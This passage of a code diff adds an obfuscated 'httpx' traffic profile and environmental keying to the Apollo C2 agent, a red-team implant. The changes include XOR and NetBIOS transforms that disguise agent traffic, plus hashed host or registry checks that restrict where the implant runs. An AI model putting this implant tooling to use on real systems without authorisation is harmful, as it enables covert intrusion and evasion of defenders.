();
+ foreach (var param in parameters)
+ {
+ paramPairs.Add($"{Uri.EscapeDataString(param.Key)}={Uri.EscapeDataString(param.Value)}");
+ }
+
+ return string.Join("&", paramPairs);
+ }
+
+ ///
+ /// Build cookie string from headers
+ ///
+ public static string ExtractCookieValue(string cookieHeader, string cookieName)
+ {
+ if (string.IsNullOrEmpty(cookieHeader) || string.IsNullOrEmpty(cookieName))
+ return "";
+
+ var cookies = cookieHeader.Split(';');
+ foreach (var cookie in cookies)
+ {
+ var trimmed = cookie.Trim();
+ if (trimmed.StartsWith(cookieName + "="))
+ {
+ return trimmed.Substring(cookieName.Length + 1);
+ }
+ }
+
+ return "";
+ }
+
+ ///
+ /// Extract header value from response headers
+ ///
+ public static string ExtractHeaderValue(string headers, string headerName)
+ {
+ if (string.IsNullOrEmpty(headers) || string.IsNullOrEmpty(headerName))
+ return "";
+
+ var lines = headers.Split(new[] { "\r\n", "\n" }, StringSplitOptions.None);
+ foreach (var line in lines)
+ {
+ if (line.StartsWith(headerName + ":", StringComparison.OrdinalIgnoreCase))
+ {
+ return line.Substring(headerName.Length + 1).Trim();
+ }
+ }
+
+ return "";
+ }
+ }
+}
diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/Transforms.cs b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/Transforms.cs
new file mode 100644
index 00000000..d8e88259
--- /dev/null
+++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/Transforms.cs
@@ -0,0 +1,233 @@
+using System;
+using System.Text;
+using System.Collections.Generic;
+
+namespace HttpxTransform
+{
+ ///
+ /// Core transform functions for httpx profile message obfuscation
+ /// Based on httpx/C2_Profiles/httpx/httpx/c2functions/transforms.go
+ ///
+ public static class Transforms
+ {
+ ///
+ /// Base64 encode data
+ ///
+ public static byte[] Base64Encode(byte[] data)
+ {
+ return Encoding.UTF8.GetBytes(Convert.ToBase64String(data));
+ }
+
+ ///
+ /// Base64 decode data
+ ///
+ public static byte[] Base64Decode(byte[] data)
+ {
+ try
+ {
+ return Convert.FromBase64String(Encoding.UTF8.GetString(data));
+ }
+ catch
+ {
+ return data; // Return original if decode fails
+ }
+ }
+
+ ///
+ /// Base64 URL encode data (URL-safe base64)
+ ///
+ public static byte[] Base64UrlEncode(byte[] data)
+ {
+ string base64 = Convert.ToBase64String(data);
+ base64 = base64.Replace('+', '-').Replace('/', '_').TrimEnd('=');
+ return Encoding.UTF8.GetBytes(base64);
+ }
+
+ ///
+ /// Base64 URL decode data
+ ///
+ public static byte[] Base64UrlDecode(byte[] data)
+ {
+ try
+ {
+ string base64 = Encoding.UTF8.GetString(data);
+ base64 = base64.Replace('-', '+').Replace('_', '/');
+
+ // Add padding if needed
+ switch (base64.Length % 4)
+ {
+ case 2: base64 += "=="; break;
+ case 3: base64 += "="; break;
+ }
+
+ return Convert.FromBase64String(base64);
+ }
+ catch
+ {
+ return data; // Return original if decode fails
+ }
+ }
+
+ ///
+ /// NetBIOS encode data (lowercase)
+ /// Split each byte into two nibbles, add 0x61 ('a')
+ ///
+ public static byte[] NetBiosEncode(byte[] data)
+ {
+ byte[] output = new byte[data.Length * 2];
+ for (int i = 0; i < data.Length; i++)
+ {
+ byte right = (byte)((data[i] & 0x0F) + 0x61);
+ byte left = (byte)(((data[i] & 0xF0) >> 4) + 0x61);
+ output[i * 2] = left;
+ output[i * 2 + 1] = right;
+ }
+ return output;
+ }
+
+ ///
+ /// NetBIOS decode data (lowercase)
+ ///
+ public static byte[] NetBiosDecode(byte[] data)
+ {
+ if (data.Length % 2 != 0) return data; // Invalid length
+
+ byte[] output = new byte[data.Length / 2];
+ for (int i = 0; i < output.Length; i++)
+ {
+ byte left = (byte)((data[i * 2] - 0x61) << 4);
+ byte right = (byte)(data[i * 2 + 1] - 0x61);
+ output[i] = (byte)(left | right);
+ }
+ return output;
+ }
+
+ ///
+ /// NetBIOS encode data (uppercase)
+ /// Split each byte into two nibbles, add 0x41 ('A')
+ ///
+ public static byte[] NetBiosUEncode(byte[] data)
+ {
+ byte[] output = new byte[data.Length * 2];
+ for (int i = 0; i < data.Length; i++)
+ {
+ byte right = (byte)((data[i] & 0x0F) + 0x41);
+ byte left = (byte)(((data[i] & 0xF0) >> 4) + 0x41);
+ output[i * 2] = left;
+ output[i * 2 + 1] = right;
+ }
+ return output;
+ }
+
+ ///
+ /// NetBIOS decode data (uppercase)
+ ///
+ public static byte[] NetBiosUDecode(byte[] data)
+ {
+ if (data.Length % 2 != 0) return data; // Invalid length
+
+ byte[] output = new byte[data.Length / 2];
+ for (int i = 0; i < output.Length; i++)
+ {
+ byte left = (byte)((data[i * 2] - 0x41) << 4);
+ byte right = (byte)(data[i * 2 + 1] - 0x41);
+ output[i] = (byte)(left | right);
+ }
+ return output;
+ }
+
+ ///
+ /// XOR transform data with key
+ ///
+ public static byte[] XorTransform(byte[] data, string key)
+ {
+ if (string.IsNullOrEmpty(key)) return data;
+
+ byte[] keyBytes = Encoding.UTF8.GetBytes(key);
+ byte[] output = new byte[data.Length];
+
+ for (int i = 0; i < data.Length; i++)
+ {
+ output[i] = (byte)(data[i] ^ keyBytes[i % keyBytes.Length]);
+ }
+
+ return output;
+ }
+
+ ///
+ /// Prepend data with value
+ ///
+ public static byte[] PrependTransform(byte[] data, string value)
+ {
+ if (string.IsNullOrEmpty(value)) return data;
+
+ byte[] valueBytes = Encoding.UTF8.GetBytes(value);
+ byte[] output = new byte[valueBytes.Length + data.Length];
+
+ Array.Copy(valueBytes, 0, output, 0, valueBytes.Length);
+ Array.Copy(data, 0, output, valueBytes.Length, data.Length);
+
+ return output;
+ }
+
+ ///
+ /// Strip prepended data
+ ///
+ public static byte[] StripPrepend(byte[] data, string value)
+ {
+ if (string.IsNullOrEmpty(value)) return data;
+
+ byte[] valueBytes = Encoding.UTF8.GetBytes(value);
+ if (data.Length < valueBytes.Length) return data;
+
+ // Check if data starts with the value
+ for (int i = 0; i < valueBytes.Length; i++)
+ {
+ if (data[i] != valueBytes[i]) return data;
+ }
+
+ byte[] output = new byte[data.Length - valueBytes.Length];
+ Array.Copy(data, valueBytes.Length, output, 0, output.Length);
+
+ return output;
+ }
+
+ ///
+ /// Append data with value
+ ///
+ public static byte[] AppendTransform(byte[] data, string value)
+ {
+ if (string.IsNullOrEmpty(value)) return data;
+
+ byte[] valueBytes = Encoding.UTF8.GetBytes(value);
+ byte[] output = new byte[data.Length + valueBytes.Length];
+
+ Array.Copy(data, 0, output, 0, data.Length);
+ Array.Copy(valueBytes, 0, output, data.Length, valueBytes.Length);
+
+ return output;
+ }
+
+ ///
+ /// Strip appended data
+ ///
+ public static byte[] StripAppend(byte[] data, string value)
+ {
+ if (string.IsNullOrEmpty(value)) return data;
+
+ byte[] valueBytes = Encoding.UTF8.GetBytes(value);
+ if (data.Length < valueBytes.Length) return data;
+
+ // Check if data ends with the value
+ for (int i = 0; i < valueBytes.Length; i++)
+ {
+ if (data[data.Length - valueBytes.Length + i] != valueBytes[i]) return data;
+ }
+
+ byte[] output = new byte[data.Length - valueBytes.Length];
+ Array.Copy(data, 0, output, 0, output.Length);
+
+ return output;
+ }
+ }
+}
diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py
index 1826300b..3ce99362 100644
--- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py
+++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py
@@ -10,9 +10,128 @@
import shutil
import json
import pathlib
+import hashlib
+import toml
from mythic_container.MythicRPC import *
+def validate_httpx_config(config_data):
+ """
+ Validate httpx configuration to match C# HttpxConfig.Validate() logic.
+ Returns None if valid, error message string if invalid.
+ """
+ valid_locations = ["cookie", "query", "header", "body", ""]
+ valid_actions = ["base64", "base64url", "netbios", "netbiosu", "xor", "prepend", "append"]
+
+ # Check name is required
+ if not config_data.get("name"):
+ return "Configuration name is required"
+
+ # Check at least GET or POST must be configured
+ get_config = config_data.get("get", {})
+ post_config = config_data.get("post", {})
+
+ get_uris = get_config.get("uris", [])
+ post_uris = post_config.get("uris", [])
+
+ if not get_uris and not post_uris:
+ return "At least GET or POST URIs are required"
+
+ # Validate each configured method (GET and POST only)
+ variations = {
+ "GET": get_config,
+ "POST": post_config
+ }
+
+ for method, variation in variations.items():
+ if not variation:
+ continue
+
+ # Check if method is actually configured
+ is_configured = (
+ variation.get("verb") or
+ (variation.get("uris") and len(variation.get("uris", [])) > 0) or
+ (variation.get("client") and (
+ (variation["client"].get("headers") and len(variation["client"].get("headers", {})) > 0) or
+ (variation["client"].get("parameters") and len(variation["client"].get("parameters", {})) > 0) or
+ (variation["client"].get("transforms") and len(variation["client"].get("transforms", [])) > 0) or
+ variation["client"].get("message", {}).get("location")
+ )) or
+ (variation.get("server") and (
+ (variation["server"].get("headers") and len(variation["server"].get("headers", {})) > 0) or
+ (variation["server"].get("transforms") and len(variation["server"].get("transforms", [])) > 0)
+ ))
+ )
+
+ if not is_configured:
+ continue
+
+ # Validate URIs
+ uris = variation.get("uris", [])
+ if not uris or len(uris) == 0:
+ return f"{method} URIs are required if {method} method is configured"
+
+ # Validate message location and name
+ client = variation.get("client", {})
+ message = client.get("message", {})
+ if message:
+ location = message.get("location", "")
+ if location not in valid_locations:
+ return f"Invalid {method} message location: {location}"
+
+ # Message name is required when location is not "body" or empty string
+ if location and location != "body":
+ if not message.get("name"):
+ return f"Missing name for {method} variation location '{location}'. Message name is required when location is 'cookie', 'query', or 'header'."
+
+ # Validate client transforms
+ client_transforms = client.get("transforms", [])
+ for transform in client_transforms:
+ action = transform.get("action", "").lower()
+ if action not in valid_actions:
+ return f"Invalid {method} client transform action: {transform.get('action')}"
+
+ # Prepend/append transforms are not allowed when message location is "query"
+ if message.get("location", "").lower() == "query" and action in ["prepend", "append"]:
+ return (
+ f"{method} client transforms cannot use '{transform.get('action')}' when message location is 'query'. "
+ "Prepend/append transforms corrupt query parameter values because the server extracts only the parameter value "
+ "(without the parameter name), causing transform mismatches. Use prepend/append only for 'body', 'header', or 'cookie' locations."
+ )
+
+ # Validate server transforms
+ server = variation.get("server", {})
+ server_transforms = server.get("transforms", [])
+ for transform in server_transforms:
+ action = transform.get("action", "").lower()
+ if action not in valid_actions:
+ return f"Invalid {method} server transform action: {transform.get('action')}"
+
+ # Validate encoding consistency: client and server must use matching base64/base64url encoding
+ client_encoding = None
+ for transform in client_transforms:
+ action = transform.get("action", "").lower()
+ if action in ["base64", "base64url"]:
+ client_encoding = action
+
+ server_encoding = None
+ # Server transforms are applied in reverse order, so check from the end
+ for transform in reversed(server_transforms):
+ action = transform.get("action", "").lower()
+ if action in ["base64", "base64url"]:
+ server_encoding = action
+ break
+
+ # If both client and server have encoding transforms, they must match
+ if client_encoding and server_encoding and client_encoding != server_encoding:
+ return (
+ f"{method} encoding mismatch: client uses {client_encoding} but server uses {server_encoding}. "
+ "Client and server encoding transforms must match."
+ )
+
+ return None # Validation passed
+
+
class Apollo(PayloadType):
name = "apollo"
file_extension = "exe"
@@ -24,6 +143,7 @@ class Apollo(PayloadType):
semver = "2.4.3"
wrapper = False
wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"]
+ c2_profiles = ["http", "httpx", "smb", "tcp", "websocket"]
note = """
A fully featured .NET 4.0 compatible training agent. Version: {}.
NOTE: P2P Not compatible with v2.2 agents!
@@ -36,8 +156,14 @@ class Apollo(PayloadType):
supports_multiple_c2_in_build = False
c2_parameter_deviations = {
"http": {
- "get_uri": C2ParameterDeviation(supported=False),
- "query_path_name": C2ParameterDeviation(supported=False),
+ "get_uri": C2ParameterDeviation(
+ supported=False,
+ choices=[] # Disabled parameter, but frontend expects array
+ ),
+ "query_path_name": C2ParameterDeviation(
+ supported=False,
+ choices=[] # Disabled parameter, but frontend expects array
+ ),
#"headers": C2ParameterDeviation(supported=True, dictionary_choices=[
# DictionaryChoice(name="User-Agent", default_value="Hello", default_show=True),
# DictionaryChoice(name="HostyHost", default_show=False, default_value=""),
@@ -90,9 +216,71 @@ class Apollo(PayloadType):
default_value=False,
description="Create a DEBUG version.",
ui_position=2,
+ ),
+ BuildParameter(
+ name="enable_keying",
+ parameter_type=BuildParameterType.Boolean,
+ default_value=False,
+ description="Enable environmental keying to restrict agent execution to specific systems.",
+ group_name="Keying Options",
+ ),
+ BuildParameter(
+ name="keying_method",
+ parameter_type=BuildParameterType.ChooseOne,
+ choices=["Hostname", "Domain", "Registry"],
+ default_value="Hostname",
+ description="Method of environmental keying.",
+ group_name="Keying Options",
+ hide_conditions=[
+ HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True)
+ ]
+ ),
+ BuildParameter(
+ name="keying_value",
+ parameter_type=BuildParameterType.String,
+ default_value="",
+ description="The hostname or domain name the agent should match (case-insensitive). Agent will exit if it doesn't match.",
+ group_name="Keying Options",
+ hide_conditions=[
+ HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True),
+ HideCondition(name="keying_method", operand=HideConditionOperand.EQ, value="Registry")
+ ]
+ ),
+ BuildParameter(
+ name="registry_path",
+ parameter_type=BuildParameterType.String,
+ default_value="",
+ description="Full registry path (e.g., HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName)",
+ group_name="Keying Options",
+ hide_conditions=[
+ HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True),
+ HideCondition(name="keying_method", operand=HideConditionOperand.NotEQ, value="Registry")
+ ]
+ ),
+ BuildParameter(
+ name="registry_value",
+ parameter_type=BuildParameterType.String,
+ default_value="",
+ description="The registry value to check against.",
+ group_name="Keying Options",
+ hide_conditions=[
+ HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True),
+ HideCondition(name="keying_method", operand=HideConditionOperand.NotEQ, value="Registry")
+ ]
+ ),
+ BuildParameter(
+ name="registry_comparison",
+ parameter_type=BuildParameterType.ChooseOne,
+ choices=["Matches", "Contains"],
+ default_value="Matches",
+ description="Matches (secure, hash-based) or Contains (WEAK, plaintext comparison). WARNING: Contains mode stores the value in plaintext!",
+ group_name="Keying Options",
+ hide_conditions=[
+ HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True),
+ HideCondition(name="keying_method", operand=HideConditionOperand.NotEQ, value="Registry")
+ ]
)
]
- c2_profiles = ["http", "smb", "tcp", "websocket"]
agent_path = pathlib.Path(".") / "apollo" / "mythic"
agent_code_path = pathlib.Path(".") / "apollo" / "agent_code"
agent_icon_path = agent_path / "agent_functions" / "apollo.svg"
@@ -124,9 +312,60 @@ async def build(self) -> BuildResponse:
defines_commands_upper = [f"#define {x.upper()}" for x in resp.updated_command_list]
else:
defines_commands_upper = [f"#define {x.upper()}" for x in self.commands.get_commands()]
+ # Handle keying parameters
+ enable_keying = self.get_parameter('enable_keying')
+ keying_enabled = "true" if enable_keying else "false"
+ keying_method_str = self.get_parameter('keying_method') if enable_keying else ""
+
+ # Map keying method to numeric value for obfuscation
+ # 0 = None, 1 = Hostname, 2 = Domain, 3 = Registry
+ keying_method_map = {
+ "Hostname": "1",
+ "Domain": "2",
+ "Registry": "3"
+ }
+ keying_method = keying_method_map.get(keying_method_str, "0")
+
+ # Hash the keying value for security (force uppercase before hashing)
+ keying_value_hash = ""
+ registry_path = ""
+ registry_value = ""
+ registry_comparison = "0" # Default to 0 for numeric field
+
+ if enable_keying:
+ if keying_method_str == "Registry":
+ # Handle registry keying
+ registry_path = self.get_parameter('registry_path') if self.get_parameter('registry_path') else ""
+ registry_comparison_str = self.get_parameter('registry_comparison') if self.get_parameter('registry_comparison') else "Matches"
+
+ # Map registry comparison to numeric value: 1 = Matches, 2 = Contains
+ registry_comparison = "1" if registry_comparison_str == "Matches" else "2"
+
+ registry_value_raw = self.get_parameter('registry_value') if self.get_parameter('registry_value') else ""
+
+ if registry_comparison_str == "Matches":
+ # Hash the registry value for secure matching
+ if registry_value_raw:
+ plaintext_value = registry_value_raw.upper()
+ keying_value_hash = hashlib.sha256(plaintext_value.encode('utf-8')).hexdigest()
+ elif registry_comparison_str == "Contains":
+ # Store plaintext for contains matching (weak security)
+ registry_value = registry_value_raw
+ else:
+ # Handle hostname/domain keying
+ if self.get_parameter('keying_value'):
+ plaintext_value = self.get_parameter('keying_value').upper()
+ keying_value_hash = hashlib.sha256(plaintext_value.encode('utf-8')).hexdigest()
+
special_files_map = {
"Config.cs": {
"payload_uuid": self.uuid,
+ "keying_enabled": keying_enabled,
+ "keying_method": keying_method,
+ "keying_value_hash": keying_value_hash,
+ "registry_path": registry_path,
+ "registry_value": registry_value,
+ "registry_comparison": registry_comparison,
},
}
extra_variables = {
@@ -145,8 +384,71 @@ async def build(self) -> BuildResponse:
for c2 in self.c2info:
profile = c2.get_c2profile()
defines_profiles_upper.append(f"#define {profile['name'].upper()}")
+
+ # Initialize all parameters with empty strings as defaults to ensure placeholders are replaced
+ if profile['name'] == 'httpx':
+ default_httpx_params = ['callback_interval', 'callback_jitter', 'callback_domains',
+ 'domain_rotation', 'failover_threshold', 'encrypted_exchange_check',
+ 'killdate', 'raw_c2_config', 'proxy_host', 'proxy_port',
+ 'proxy_user', 'proxy_pass', 'domain_front', 'timeout']
+ for param in default_httpx_params:
+ prefixed_key = f"{profile['name'].lower()}_{param}"
+ if prefixed_key not in special_files_map.get("Config.cs", {}):
+ special_files_map.setdefault("Config.cs", {})[prefixed_key] = ""
+
for key, val in c2.get_parameters_dict().items():
prefixed_key = f"{profile['name'].lower()}_{key}"
+
+ # Check for raw_c2_config file parameter FIRST before other type checks
+ if key == "raw_c2_config" and profile['name'] == "httpx":
+ # Handle httpx raw_c2_config file parameter - REQUIRED for httpx profile
+ if not val or val == "":
+ resp.set_status(BuildStatus.Error)
+ resp.build_stderr = "raw_c2_config is REQUIRED for httpx profile. Please upload a JSON or TOML configuration file."
+ return resp
+
+ try:
+ # Read configuration file contents
+ response = await SendMythicRPCFileGetContent(MythicRPCFileGetContentMessage(val))
+
+ if not response.Success:
+ resp.set_status(BuildStatus.Error)
+ resp.build_stderr = f"Error reading raw_c2_config file: {response.Error}"
+ return resp
+
+ raw_config_file_data = response.Content.decode('utf-8')
+
+ # Try parsing the content as JSON first
+ try:
+ config_data = json.loads(raw_config_file_data)
+ except json.JSONDecodeError:
+ # If JSON fails, try parsing as TOML
+ try:
+ config_data = toml.loads(raw_config_file_data)
+ except Exception as toml_err:
+ resp.set_status(BuildStatus.Error)
+ resp.build_stderr = f"Failed to parse raw_c2_config as JSON or TOML: {toml_err}"
+ return resp
+
+ # Validate the httpx configuration before building
+ validation_error = validate_httpx_config(config_data)
+ if validation_error:
+ resp.set_status(BuildStatus.Error)
+ resp.build_stderr = f"Invalid httpx configuration: {validation_error}"
+ return resp
+
+ # Store the parsed config for Apollo to use
+ # Base64 encode to avoid C# string escaping issues
+ import base64
+ encoded_config = base64.b64encode(raw_config_file_data.encode('utf-8')).decode('ascii')
+ special_files_map["Config.cs"][prefixed_key] = encoded_config
+
+ except Exception as err:
+ resp.set_status(BuildStatus.Error)
+ resp.build_stderr = f"Error processing raw_c2_config: {str(err)}"
+ return resp
+
+ continue # Skip to next parameter
if isinstance(val, dict) and 'enc_key' in val:
if val["value"] == "none":
@@ -154,12 +456,33 @@ async def build(self) -> BuildResponse:
resp.set_build_message("Apollo does not support plaintext encryption")
return resp
- stdout_err += "Setting {} to {}".format(prefixed_key, val["enc_key"] if val["enc_key"] is not None else "")
-
# TODO: Prefix the AESPSK variable and also make it specific to each profile
special_files_map["Config.cs"][key] = val["enc_key"] if val["enc_key"] is not None else ""
- elif isinstance(val, str):
- special_files_map["Config.cs"][prefixed_key] = val.replace("\\", "\\\\")
+ elif isinstance(val, list):
+ # Handle list values (like callback_domains as an array)
+ val = ', '.join(str(item) for item in val)
+
+ # Now process as string if it's a string
+ if isinstance(val, str):
+ # Check if the value looks like a JSON array string (e.g., '["domain1", "domain2"]')
+ if val.strip().startswith('[') and val.strip().endswith(']'):
+ try:
+ # Parse the JSON array and join with commas for Apollo
+ json_val = json.loads(val)
+ if isinstance(json_val, list):
+ # Join list items with commas
+ val = ', '.join(json_val)
+ except:
+ # If parsing fails, use as-is
+ pass
+
+ escaped_val = val.replace("\\", "\\\\")
+ # Check for newlines in the string that would break C# syntax
+ if '\n' in escaped_val or '\r' in escaped_val:
+ stdout_err += f" WARNING: String '{prefixed_key}' contains newlines! This will break C# syntax.\n"
+ # Replace newlines with escaped versions for C# strings
+ escaped_val = escaped_val.replace('\n', '\\n').replace('\r', '\\r')
+ special_files_map["Config.cs"][prefixed_key] = escaped_val
elif isinstance(val, bool):
if key == "encrypted_exchange_check" and not val:
resp.set_status(BuildStatus.Error)
@@ -170,11 +493,30 @@ async def build(self) -> BuildResponse:
extra_variables = {**extra_variables, **val}
else:
special_files_map["Config.cs"][prefixed_key] = json.dumps(val)
+
try:
# make a temp directory for it to live
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
+
# shutil to copy payload files over
copy_tree(str(self.agent_code_path), agent_build_path.name)
+
+ # Get selected profiles from c2info
+ selected_profiles = [c2.get_c2profile()['name'] for c2 in self.c2info]
+
+ # Filter Apollo.csproj to include only selected profile projects
+ csproj_path = os.path.join(agent_build_path.name, "Apollo", "Apollo.csproj")
+ if os.path.exists(csproj_path):
+ try:
+ filter_csproj_profile_references(csproj_path, selected_profiles)
+
+ # Also filter Config.cs to remove #define statements for unselected profiles
+ config_path = os.path.join(agent_build_path.name, "Apollo", "Config.cs")
+ if os.path.exists(config_path):
+ filter_config_defines(config_path, selected_profiles)
+ except Exception as e:
+ stdout_err += f"\nWarning: Failed to filter csproj references: {e}. Building with all profiles.\n"
+
# first replace everything in the c2 profiles
for csFile in get_csharp_files(agent_build_path.name):
templateFile = open(csFile, "rb").read().decode()
@@ -183,7 +525,9 @@ async def build(self) -> BuildResponse:
for specialFile in special_files_map.keys():
if csFile.endswith(specialFile):
for key, val in special_files_map[specialFile].items():
- templateFile = templateFile.replace(key + "_here", val)
+ placeholder = key + "_here"
+ if placeholder in templateFile:
+ templateFile = templateFile.replace(placeholder, val)
if specialFile == "Config.cs":
if len(extra_variables.keys()) > 0:
extra_data = ""
@@ -194,12 +538,24 @@ async def build(self) -> BuildResponse:
templateFile = templateFile.replace("HTTP_ADDITIONAL_HEADERS_HERE", "")
with open(csFile, "wb") as f:
f.write(templateFile.encode())
+
+ # Determine if we need to embed the default config
+ embed_default_config = True
+ for c2 in self.c2info:
+ profile = c2.get_c2profile()
+ if profile['name'] == 'httpx':
+ raw_config = c2.get_parameters_dict().get('raw_c2_config', '')
+ if raw_config and raw_config != "":
+ embed_default_config = False
+ break
+
output_path = f"{agent_build_path.name}/{buildPath}/Apollo.exe"
+
+ # Build command with conditional embedding
if self.get_parameter('debug'):
- command = f"dotnet build -c {compileType} -p:Platform=\"Any CPU\" -o {agent_build_path.name}/{buildPath}/"
+ command = f"dotnet build -c {compileType} -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/ --verbosity quiet"
else:
- command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:Platform=\"Any CPU\" -o {agent_build_path.name}/{buildPath}/"
- #command = "rm -rf packages/*; nuget restore -NoCache -Force; msbuild -p:Configuration=Release -p:Platform=\"Any CPU\""
+ command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:DefineConstants=\"\" -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/ --verbosity quiet"
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Gathering Files",
@@ -214,6 +570,20 @@ async def build(self) -> BuildResponse:
if stderr:
stdout_err += f'[stderr]\n{stderr.decode()}' + "\n" + command
+ # Check if dotnet build command succeeded
+ if proc.returncode != 0:
+ await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
+ PayloadUUID=self.uuid,
+ StepName="Compiling",
+ StepStdout=f"dotnet build failed with exit code {proc.returncode}\nCommand: {command}\n{stdout_err}",
+ StepSuccess=False
+ ))
+ resp.status = BuildStatus.Error
+ resp.payload = b""
+ resp.build_message = f"dotnet build failed with exit code {proc.returncode}"
+ resp.build_stderr = stdout_err
+ return resp
+
if os.path.exists(output_path):
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
@@ -287,6 +657,20 @@ async def build(self) -> BuildResponse:
stdout_err += f'[stdout]\n{stdout.decode()}\n'
stdout_err += f'[stderr]\n{stderr.decode()}'
+ # Check if donut command succeeded
+ if proc.returncode != 0:
+ await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
+ PayloadUUID=self.uuid,
+ StepName="Donut",
+ StepStdout=f"Donut failed with exit code {proc.returncode}\nCommand: {command}\n{stdout_err}",
+ StepSuccess=False
+ ))
+ resp.build_message = f"Donut failed with exit code {proc.returncode}"
+ resp.status = BuildStatus.Error
+ resp.payload = b""
+ resp.build_stderr = stdout_err
+ return resp
+
if not os.path.exists(shellcode_path):
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
@@ -327,7 +711,7 @@ async def build(self) -> BuildResponse:
if self.get_parameter('debug'):
command = f"dotnet build -c {compileType} -p:OutputType=WinExe -p:Platform=\"Any CPU\""
else:
- command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:OutputType=WinExe -p:Platform=\"Any CPU\""
+ command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:DefineConstants=\"\" -p:OutputType=WinExe -p:Platform=\"Any CPU\""
proc = await asyncio.create_subprocess_shell(
command,
stdout=asyncio.subprocess.PIPE,
@@ -339,6 +723,21 @@ async def build(self) -> BuildResponse:
stdout_err += f"[stdout]\n{stdout.decode()}"
if stderr:
stdout_err += f"[stderr]\n{stderr.decode()}"
+
+ # Check if service build command succeeded
+ if proc.returncode != 0:
+ await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
+ PayloadUUID=self.uuid,
+ StepName="Service Compiling",
+ StepStdout=f"Service build failed with exit code {proc.returncode}\nCommand: {command}\n{stdout_err}",
+ StepSuccess=False
+ ))
+ resp.status = BuildStatus.Error
+ resp.payload = b""
+ resp.build_message = f"Service build failed with exit code {proc.returncode}"
+ resp.build_stderr = stdout_err
+ return resp
+
output_path = (
pathlib.PurePath(agent_build_path.name)
/ "Service"
@@ -443,6 +842,90 @@ def get_csharp_files(base_path: str) -> list[str]:
return results
+def filter_config_defines(config_path: str, selected_profiles: list[str]) -> None:
+ """
+ Modify Config.cs to comment out #define statements for unselected profiles.
+ This prevents compilation errors when profile assemblies aren't included.
+ """
+ profile_defines = {
+ 'http': '#define HTTP',
+ 'httpx': '#define HTTPX',
+ 'smb': '#define SMB',
+ 'tcp': '#define TCP',
+ 'websocket': '#define WEBSOCKET'
+ }
+
+ # Read lines
+ with open(config_path, 'r', encoding='utf-8') as f:
+ lines = f.readlines()
+
+ # Filter lines: comment out unselected profile defines
+ filtered_lines = []
+ for line in lines:
+ modified = False
+ for profile_name, define_line in profile_defines.items():
+ if define_line in line and profile_name not in selected_profiles:
+ # Comment out this define
+ filtered_lines.append('//' + line.lstrip())
+ modified = True
+ break
+
+ if not modified:
+ filtered_lines.append(line)
+
+ # Write back
+ with open(config_path, 'w', encoding='utf-8') as f:
+ f.writelines(filtered_lines)
+
+
+def filter_csproj_profile_references(csproj_path: str, selected_profiles: list[str]) -> None:
+ """
+ Modify Apollo.csproj to include only ProjectReference entries for selected profiles.
+ Simple line-by-line filtering
+ """
+ # Map profile names to their line content in csproj
+ profile_lines = {
+ 'http': ' ',
+ 'httpx': ' ',
+ 'smb': ' ',
+ 'tcp': ' ',
+ 'websocket': ' '
+ }
+
+ # Also track HttpxTransform
+ httpx_transform_line = ' '
+
+ # Read lines
+ with open(csproj_path, 'r', encoding='utf-8') as f:
+ lines = f.readlines()
+
+ # Filter lines: keep core references and selected profile references
+ filtered_lines = []
+ for line in lines:
+ # Check if this is a profile reference line
+ is_profile_line = False
+ for profile_name, profile_line in profile_lines.items():
+ if profile_line in line:
+ # Keep only if this profile is selected
+ if profile_name in selected_profiles:
+ filtered_lines.append(line)
+ is_profile_line = True
+ break
+
+ # Check if this is HttpxTransform line
+ if httpx_transform_line in line:
+ # Keep only if httpx is selected
+ if 'httpx' in selected_profiles:
+ filtered_lines.append(line)
+ elif not is_profile_line:
+ # Keep all non-profile lines as-is
+ filtered_lines.append(line)
+
+ # Write back
+ with open(csproj_path, 'w', encoding='utf-8') as f:
+ f.writelines(filtered_lines)
+
+
def adjust_file_name(filename, shellcode_format, output_type, adjust_filename):
if not adjust_filename:
return filename
diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_assembly.py b/Payload_Type/apollo/apollo/mythic/agent_functions/execute_assembly.py
index b2a49d6d..015cd00e 100644
--- a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_assembly.py
+++ b/Payload_Type/apollo/apollo/mythic/agent_functions/execute_assembly.py
@@ -127,7 +127,7 @@ async def build_exeasm(self):
)
# shutil to copy payload files over
copy_tree(str(self.agent_code_path), agent_build_path.name)
- shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ExecuteAssembly/ExecuteAssembly.csproj -o {}/ExecuteAssembly/bin/Release/".format(
